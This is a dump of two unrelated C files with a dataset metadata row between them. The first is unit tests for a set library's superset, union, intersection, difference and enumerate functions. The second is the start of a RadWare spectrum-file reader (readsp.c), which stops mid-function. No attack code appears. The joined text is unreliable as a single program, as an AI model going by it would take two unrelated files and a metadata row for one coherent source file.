bool superset = false;
/* is b a superset of a? */
unsigned int res = set_superset(&superset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && superset)
{
pass = true;
}
return pass;
}
bool test_set_superset_empty_sets(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
bool superset = false;
/* is b a superset of a? */
unsigned int res = set_superset(&superset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && superset)
{
pass = true;
}
return pass;
}
bool test_set_superset_of_empty_set(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
set_add(G_INT(a), &set_b);
set_add(G_INT(b), &set_b);
set_add(G_INT(a), &expected_set_b);
set_add(G_INT(b), &expected_set_b);
bool superset = false;
/* is b a superset of a? */
unsigned int res = set_superset(&superset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && superset)
{
pass = true;
}
return pass;
}
bool test_set_superset_empty_set_of(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(c), &set_a);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(c), &expected_set_a);
bool superset = false;
/* is b a superset of a? */
unsigned int res = set_superset(&superset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && !superset)
{
pass = true;
}
return pass;
}
bool test_set_superset_same_set(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set);
set_add(G_INT(b), &set);
set_add(G_INT(c), &set);
set_add(G_INT(a), &expected_set);
set_add(G_INT(b), &expected_set);
set_add(G_INT(c), &expected_set);
bool superset = false;
/* is set a superset of itself? */
unsigned int res = set_superset(&superset, &set, &set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal && superset)
{
pass = true;
}
return pass;
}
bool test_set_cardinality_normal(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
unsigned int* a = calloc(1, sizeof(unsigned int));
unsigned int* b = calloc(1, sizeof(unsigned int));
/* arbitrary values to insert */
*a = 12;
*b = 33;
set_add((void*)a, &set);
set_add((void*)b, &set);
set_add((void*)a, &expected_set);
set_add((void*)b, &expected_set);
unsigned int card = 0;
unsigned int res = set_cardinality(&card, &set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal && card == 2)
{
pass = true;
}
free(a);
free(b);
return pass;
}
bool test_set_cardinality_null_params(void)
{
bool pass = false;
unsigned int res = set_cardinality(NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_cardinality_empty_set(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
unsigned int card = 1; /* different from expected value */
unsigned int res = set_cardinality(&card, &set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal && card == 0)
{
pass = true;
}
return pass;
}
/* Operations */
bool test_set_add_normal(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
unsigned int a = 12; /* arbitrary value to insert */
unsigned int res = set_add(G_INT(a), &set);
set_add(G_INT(a), &expected_set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal)
{
pass = true;
}
return pass;
}
bool test_set_add_null_params(void)
{
bool pass = false;
unsigned int res = set_add(NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_add_duplicates(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
unsigned int a = 12; /* arbitrary value to insert */
set_add(G_INT(a), &set);
unsigned int res = set_add(G_INT(a), &set);
set_add(G_INT(a), &expected_set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_IMPOSSIBLE && equal)
{
pass = true;
}
return pass;
}
bool test_set_remove_normal(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
set_add(G_INT(a), &set);
set_add(G_INT(b), &set);
set_add(G_INT(a), &expected_set);
unsigned int res = set_remove(G_INT(b), &set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal)
{
pass = true;
}
return pass;
}
bool test_set_remove_null_params(void)
{
bool pass = false;
unsigned int res = set_remove(NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_remove_empty_set(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
unsigned int a = 12; /* arbitrary value to insert */
unsigned int res = set_remove(G_INT(a), &set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_NOT_FOUND && equal)
{
pass = true;
}
return pass;
}
bool test_set_union_normal(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set set_c;
set_init(&set_c);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
Set expected_set_c;
set_init(&expected_set_c);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
unsigned int d = 2;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(c), &set_b);
set_add(G_INT(d), &set_b);
set_add(G_INT(c), &expected_set_b);
set_add(G_INT(d), &expected_set_b);
set_add(G_INT(a), &expected_set_c);
set_add(G_INT(b), &expected_set_c);
set_add(G_INT(c), &expected_set_c);
set_add(G_INT(d), &expected_set_c);
unsigned int res = set_union(&set_a, &set_b, &set_c);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
bool equal_c = false;
set_equal(&equal_c, &set_c, &expected_set_c);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &set_c);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
set_free(NULL, &expected_set_c);
if(res == JCRL_ERR_OK && equal_a && equal_b && equal_c)
{
pass = true;
}
return pass;
}
bool test_set_union_null_params(void)
{
bool pass = false;
unsigned int res = set_union(NULL, NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_union_empty_sets(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set set_c;
set_init(&set_c);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
Set expected_set_c;
set_init(&expected_set_c);
unsigned int res = set_union(&set_a, &set_b, &set_c);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
bool equal_c = false;
set_equal(&equal_c, &set_c, &expected_set_c);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &set_c);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
set_free(NULL, &expected_set_c);
if(res == JCRL_ERR_OK && equal_a && equal_b && equal_c)
{
pass = true;
}
return pass;
}
bool test_set_union_same_set(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(a), &expected_set_b);
set_add(G_INT(b), &expected_set_b);
unsigned int res = set_union(&set_a, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b)
{
pass = true;
}
return pass;
}
bool test_set_intersection_normal(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set set_c;
set_init(&set_c);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
Set expected_set_c;
set_init(&expected_set_c);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(a), &set_b);
set_add(G_INT(c), &set_b);
set_add(G_INT(a), &expected_set_b);
set_add(G_INT(c), &expected_set_b);
set_add(G_INT(a), &expected_set_c);
unsigned int res = set_intersection(&set_a, &set_b, &set_c);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
bool equal_c = false;
set_equal(&equal_c, &set_c, &expected_set_c);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &set_c);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
set_free(NULL, &expected_set_c);
if(res == JCRL_ERR_OK && equal_a && equal_b && equal_c)
{
pass = true;
}
return pass;
}
bool test_set_intersection_null_params(void)
{
bool pass = false;
unsigned int res = set_intersection(NULL, NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_intersection_empty_sets(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set set_c;
set_init(&set_c);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
Set expected_set_c;
set_init(&expected_set_c);
unsigned int res = set_intersection(&set_a, &set_b, &set_c);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
bool equal_c = false;
set_equal(&equal_c, &set_c, &expected_set_c);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &set_c);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
set_free(NULL, &expected_set_c);
if(res == JCRL_ERR_OK && equal_a && equal_b && equal_c)
{
pass = true;
}
return pass;
}
bool test_set_intersection_same_set(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(a), &expected_set_b);
set_add(G_INT(b), &expected_set_b);
unsigned int res = set_intersection(&set_a, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b)
{
pass = true;
}
return pass;
}
bool test_set_difference_normal(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set set_c;
set_init(&set_c);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
Set expected_set_c;
set_init(&expected_set_c);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(c), &set_a);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(c), &expected_set_a);
set_add(G_INT(b), &set_b);
set_add(G_INT(b), &expected_set_b);
set_add(G_INT(a), &expected_set_c);
set_add(G_INT(c), &expected_set_c);
unsigned int res = set_difference(&set_a, &set_b, &set_c);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
bool equal_c = false;
set_equal(&equal_c, &set_c, &expected_set_c);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &set_c);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
set_free(NULL, &expected_set_c);
if(res == JCRL_ERR_OK && equal_a && equal_b && equal_c)
{
pass = true;
}
return pass;
}
bool test_set_difference_null_params(void)
{
bool pass = false;
unsigned int res = set_difference(NULL, NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_difference_empty_sets(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set set_c;
set_init(&set_c);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
Set expected_set_c;
set_init(&expected_set_c);
unsigned int res = set_difference(&set_a, &set_b, &set_c);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
bool equal_c = false;
set_equal(&equal_c, &set_c, &expected_set_c);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &set_c);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
set_free(NULL, &expected_set_c);
if(res == JCRL_ERR_OK && equal_a && equal_b && equal_c)
{
pass = true;
}
return pass;
}
bool test_set_difference_same_set(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
unsigned int res = set_difference(&set_a, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b)
{
pass = true;
}
return pass;
}
bool test_set_difference_disjoint_sets(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set set_c;
set_init(&set_c);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
Set expected_set_c;
set_init(&expected_set_c);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
set_add(G_INT(a), &set_a);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &set_b);
set_add(G_INT(b), &expected_set_b);
set_add(G_INT(a), &expected_set_c);
unsigned int res = set_difference(&set_a, &set_b, &set_c);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
bool equal_c = false;
set_equal(&equal_c, &set_c, &expected_set_c);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &set_c);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
set_free(NULL, &expected_set_c);
if(res == JCRL_ERR_OK && equal_a && equal_b && equal_c)
{
pass = true;
}
return pass;
}
/* Utilities */
bool test_set_enumerate_normal(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
List list;
list_init(&list);
List expected_list;
list_init(&expected_list);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set);
set_add(G_INT(b), &set);
set_add(G_INT(c), &set);
set_add(G_INT(a), &expected_set);
set_add(G_INT(b), &expected_set);
set_add(G_INT(c), &expected_set);
list_append(G_INT(a), &expected_list);
list_append(G_INT(b), &expected_list);
list_append(G_INT(c), &expected_list);
unsigned int res = set_enumerate(&list, &set);
bool equal_set = false;
set_equal(&equal_set, &set, &expected_set);
bool equal_list = false;
list_equal(&equal_list, &list, &expected_list);
list_free(NULL, &list);
list_free(NULL, &expected_list);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal_set && equal_list)
{
pass = true;
}
return pass;
}
bool test_set_enumerate_null_params(void)
{
bool pass = false;
unsigned int res = set_enumerate(NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_enumerate_empty_set(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
List list;
list_init(&list);
List expected_list;
list_init(&expected_list);
unsigned int res = set_enumerate(&list, &set);
bool equal_set = false;
set_equal(&equal_set, &set, &expected_set);
bool equal_list = false;
list_equal(&equal_list, &list, &expected_list);
list_free(NULL, &list);
list_free(NULL, &expected_list);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal_set && equal_list)
{
pass = true;
}
return pass;
}
| 2.625 | 3 |
2024-11-18T19:59:55.425237+00:00 | 2021-08-16T10:36:44 | 384e670ff673ccff697a56b8146c758436691763 | {
"blob_id": "384e670ff673ccff697a56b8146c758436691763",
"branch_name": "refs/heads/main",
"committer_date": "2021-08-16T10:36:44",
"content_id": "dfae55a008892d9d2e56b7571f61a3bcc58b58e2",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "7dd670253193b1119055f75c6c79c07cecffe210",
"extension": "c",
"filename": "readsp.c",
"fork_events_count": 0,
"gha_created_at": "2021-08-16T10:32:42",
"gha_event_created_at": "2021-08-16T10:32:42",
"gha_language": null,
"gha_license_id": "BSD-2-Clause",
"github_id": 396743235,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 28136,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/src/libs/util/readsp.c",
"provenance": "stackv2-0019.json.gz:145313",
"repo_name": "Escudeiro1/rw05",
"revision_date": "2021-08-16T10:36:44",
"revision_id": "d2677fc7fbf7ea3dd603a4c5c87b26a10438bfee",
"snapshot_id": "e18d69401b8e4ecf5b2a9945fc809100d5ed22ae",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Escudeiro1/rw05/d2677fc7fbf7ea3dd603a4c5c87b26a10438bfee/src/libs/util/readsp.c",
"visit_date": "2023-07-09T18:47:50.063012"
} | stackv2 | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include "util.h"
int datread(char *fn, float *sp, char *namesp, int *numch, int idimsp);
int rmsread(char *fn, float *sp, char *namesp, int *numch, int idimsp);
int sptread(char *fn, float *sp, char *namesp, int *numch, int idimsp);
/* ====================================================================== */
int readsp(char *filnam, float *sp, char *namesp, int *numch, int idimsp)
{
/* subroutine to read spectrum from file (or id) = filnam
into array sp, of dimension idimsp
numch = number of channels read
namesp = name of spectrum (character*8)
default file extension = .spe
spmode = 0/1/2 for .spe/.spk/.mat files
spmode = 3 for .spn files */
/* 2000/03/08: added support for ORNL .his files
spmode = 4 for .his files */
/* 2000/10/31: added support for .sec files (like 8192-ch .spn files)
spmode = 5 for .sec files */
/* 2006/04/10: added support for .dat files (simple float files)
spmode = 6 for .dat files */
/* 2016/12/16: added .rms files (complex radware multi-spectrum files)
spmode = 7 for .rms files */
/* 2017/09/29: added .spt files (spectrum text)
spmode = 8 for .spt files */
static int spmode = 0;
int i, nc, in1, in2, in3;
#ifdef HISFILES
int hisread(char *fn, float *sp, char *namesp, int *numch, int idimsp);
#endif
/* if in .spk, .mat or .spn mode, and filnam has ints,
call spkread or matread */
if (!strcmp(filnam+2, "/C") || !strcmp(filnam+2, "/c")) {
return matread(filnam, sp, namesp, numch, idimsp, &spmode);
}
nc = strlen(filnam);
if (spmode != 0 &&
!inin(filnam, nc, &in1, &in2, &in3)) {
if (spmode == 1) {
return spkread(filnam, sp, namesp, numch, idimsp);
} else if (spmode == 2 || spmode == 3 || spmode == 5) {
return matread(filnam, sp, namesp, numch, idimsp, &spmode);
} else if (spmode == 4) {
#ifdef HISFILES
return hisread(filnam, sp, namesp, numch, idimsp);
#else
warn(".his files not supported;"
" recompile with HISFILES flag defined.\n");
#endif
} else if (spmode == 6) {
return datread(filnam, sp, namesp, numch, idimsp);
} else if (spmode == 7) {
return rmsread(filnam, sp, namesp, numch, idimsp);
}
}
/* remove leading spaces from filnam
look for file extension in filnam
if there is none, put it to .spe */
// test to see if .spe file exist; if not, try .rms
char test[80];
FILE *fp;
strncpy(test, filnam, 80);
i = setext(test, ".spe", 80);
if (!(fp = fopen(test, "r"))) {
strncpy(test+i, ".rms", 4);
if ((fp = fopen(test, "r"))) strncpy(filnam, test, 80); // if .rms file exists, use it instead
}
if (fp) fclose(fp);
i = setext(filnam, ".spe", 80);
/* if it is .spk, .mat, .spn or .m4b, call spkread or matread */
if (!strcmp(filnam + i, ".SPK") ||
!strcmp(filnam + i, ".spk")) {
spmode = 1;
return spkread(filnam, sp, namesp, numch, idimsp);
} else if (!strcmp(filnam + i, ".MAT") ||
!strcmp(filnam + i, ".mat")) {
spmode = 2;
return matread(filnam, sp, namesp, numch, idimsp, &spmode);
} else if (!strcmp(filnam + i, ".SPN") ||
!strcmp(filnam + i, ".spn") ||
!strcmp(filnam + i, ".M4B") ||
!strcmp(filnam + i, ".m4b")) {
spmode = 3;
return matread(filnam, sp, namesp, numch, idimsp, &spmode);
} else if (!strcmp(filnam + i, ".HIS") ||
!strcmp(filnam + i, ".his")) {
#ifdef HISFILES
spmode = 4;
return hisread(filnam, sp, namesp, numch, idimsp);
#else
warn(".his files not supported;"
" recompile with HISFILES flag defined.\n");
#endif
} else if (!strcmp(filnam + i, ".SEC") ||
!strcmp(filnam + i, ".sec")) {
spmode = 5;
return matread(filnam, sp, namesp, numch, idimsp, &spmode);
} else if (!strcmp(filnam + i, ".DAT") ||
!strcmp(filnam + i, ".dat")) {
spmode = 6;
return datread(filnam, sp, namesp, numch, idimsp);
} else if (!strcmp(filnam + i, ".RMS") ||
!strcmp(filnam + i, ".rms")) {
spmode = 7;
return rmsread(filnam, sp, namesp, numch, idimsp);
} else if (!strcmp(filnam + i, ".SPT") ||
!strcmp(filnam + i, ".spt")) {
spmode = 8;
return sptread(filnam, sp, namesp, numch, idimsp);
}
/* read spectrum in standard gf3 format */
spmode = 0;
return read_spe_file(filnam, sp, namesp, numch, idimsp);
} /* readsp */
#define lrecl 2048 /* logical record length in bytes */
/* ================================================ */
int locateID(int *idir, int ilo, int ihi, int idn)
{
/* search spkio directory for id numbers */
int n;
if (ihi < ilo) return 0;
for (n = 2*ilo + 2; n <= 2*ihi + 2; n += 2) {
if (idir[n] == idn) return n;
}
return 0;
} /* locateID */
/* ================================================ */
int dospkio(int mode, FILE *spkfile, int *idat, int ia, int nw)
{
/* mode = 1,2 for read, write
ia = first half-word on file to xfer
nw = # of half-words to xfer */
fseek(spkfile, 2*ia - 2, SEEK_SET);
if (mode == 1) {
if (fread(idat, 2*nw, 1, spkfile) != 1) {
warn("ERROR - cannot read from spk file.\n");
return 1;
}
} else {
if (fwrite(idat, 2*nw, 1, spkfile) != 1) {
warn("ERROR - cannot write to spk file.\n");
return 1;
}
}
return 0;
} /* dospkio */
/* ================================================ */
int spkio(int mode, FILE *spkfile, int idn, int *ihed, int maxh,
int *idat, int *ndx, int nch)
{
/* mode = 0,1,2 says initialize, read, write
mode = 3 says list the directory (no longer supported)
mode = 4 says delete idn from directory (no longer supported)
mode = 5 says display the directory (no longer supported)
mode = 6 says return id-list in idat (idat[0] = # of id's)
spkfile = file descr. of open file
idn = requested id #
ihed - array to contain header
maxh = maximum length of ihed in half-words
idat - array to contain data
ndx - array to contain indices of 1st channel to xfer
nch = # of channels to xfer
returned values:
0 says all ok
1 says requested id not found
2 says invalid value of "ndx"
3 says directory overflow
4 says i/o error of some sort
5 says illegal request mode
6 says id to be deleted not in directory (not used)
7 says id to be stored already in directory
8 says file not open
idir - contains the directory
idir[0], idir[1] contains 8-character "data type"
idir[2] contains "nid" (# of spectra on file)
idir[3] contains "nxwd" (next half-word # on file to use)
idir[4] contains id #
idir[5] contains half-word # where header starts */
static int idir[512];
#define cdir ((char *)idir)
#define nid idir[2]
#define nxwd idir[3]
/* header structure:
word# contents
0 id #
1 - 3 parameter label (from .his-file)
4 - 6 reserved for (date - time)
7 bytes/channel = -4 (no longer needed but set to -4)
(so that old spkio will get err)
8 header length (half words)
9 data length (half words) (no longer used)
10 data dimensionality (# parms = 1) (no longer used)
11 hist length (max # chans to be returned)
12 length of raw parameter (pwr of 2)
13 length of scaled parameter (pwr of 2)
14 data record blksize (bytes) for mag tapes
(0 implies one contiguous data record)
15 min non-zero channel #
16 max non-zero channel #
17-19 calibration constants (up to 3)
20-21 reserved
22-31 title (40 bytes) */
int ihed2[32];
#define id ihed2[0]
#define nwdh ihed2[8]
#define lenc ihed2[11]
#define lraw ihed2[12]
#define lsca ihed2[13]
#define minc ihed2[15]
#define maxc ihed2[16]
int loch, mind, maxd, nwdd, minr, maxr, stat, i, n;
int ncmax, ia, nc, ii, ih8, ih16, ih17, idx, nwd, nwn;
if (!spkfile) return 8; /* no open file */
if (mode < 0 || (mode > 2 && mode != 6)) return 5; /* invalid mode */
if (mode == 0) { /* initialize */
/* reset the directory */
memset(idir, 0, lrecl);
strncpy(cdir, "HHIRFSPK", 8);
nxwd = 1025;
rewind(spkfile);
if (fwrite(idir, lrecl, 1, spkfile) != 1) {
warn("SPKIO ERROR - write failure for directory.\n");
return 4;
}
return 0;
}
/* read in directory for all modes but init */
if (dospkio(1, spkfile, idir, 1, 1024)) {
warn("SPKIO ERROR - read failure for directory.\n");
return 4;
}
if (mode == 6) { /* return id-list in idat (idat[0] = # of id's) */
idat[0] = nid;
i = 4;
for (n = 1; n <= nid; n++) {
idat[n] = idir[i];
i += 2;
}
} else if (mode == 1) { /* mode = input (read) */
/* test for requested id */
if ((n = locateID(idir, 1, nid, idn)) <= 0) {
warn("SPKIO ERROR - no such spectrum ID!\n");
return 1;
}
nwn = idir[n+1];
loch = nwn;
/* read first 64 half-words of header into ihed2 */
if (dospkio(1, spkfile, ihed2, nwn, 64)) {
warn("SPKIO ERROR - cannot read header(1)\n"
"%d %d\n", nwn, 64);
return 4;
}
/* read header into ihed */
nwd = maxh;
if (nwd > nwdh) nwd = nwdh;
if (dospkio(1, spkfile, ihed, nwn, nwd)) {
warn("SPKIO ERROR - cannot read header(2)\n"
"%d %d\n", nwn, nwd);
return 4;
}
/* compute nwn = 1st half-word # on disk to xfer
nc = # of channels to xfer
idx = starting index in idat */
if (ihed[9] <= 0) ihed[9] = 2*(maxc + 1); /* # half-wds data */
if (ihed[13] > ihed[11]) ihed[11] = ihed[13]; /* modify # chans */
if (nch <= 0) return 0; /* no histogram data requested */
if (ihed[7] >= 0) { /*+++ old spk-file form */
if (*ndx <= 0 || *ndx > lenc) { /* illegal ndx */
warn("SPKIO ERROR - illegal ndx = %d lenc :%d\n", *ndx, lenc);
return 2;
}
nwn = loch + nwdh + 2*(*ndx - 1); /* 1st half-wd# on disk */
nc = nch; /* # channels requested */
ncmax = lenc - *ndx + 1; /* max # chans available */
idx = 0; /* 1st index in idat */
} else { /*+++ new spk-file form */
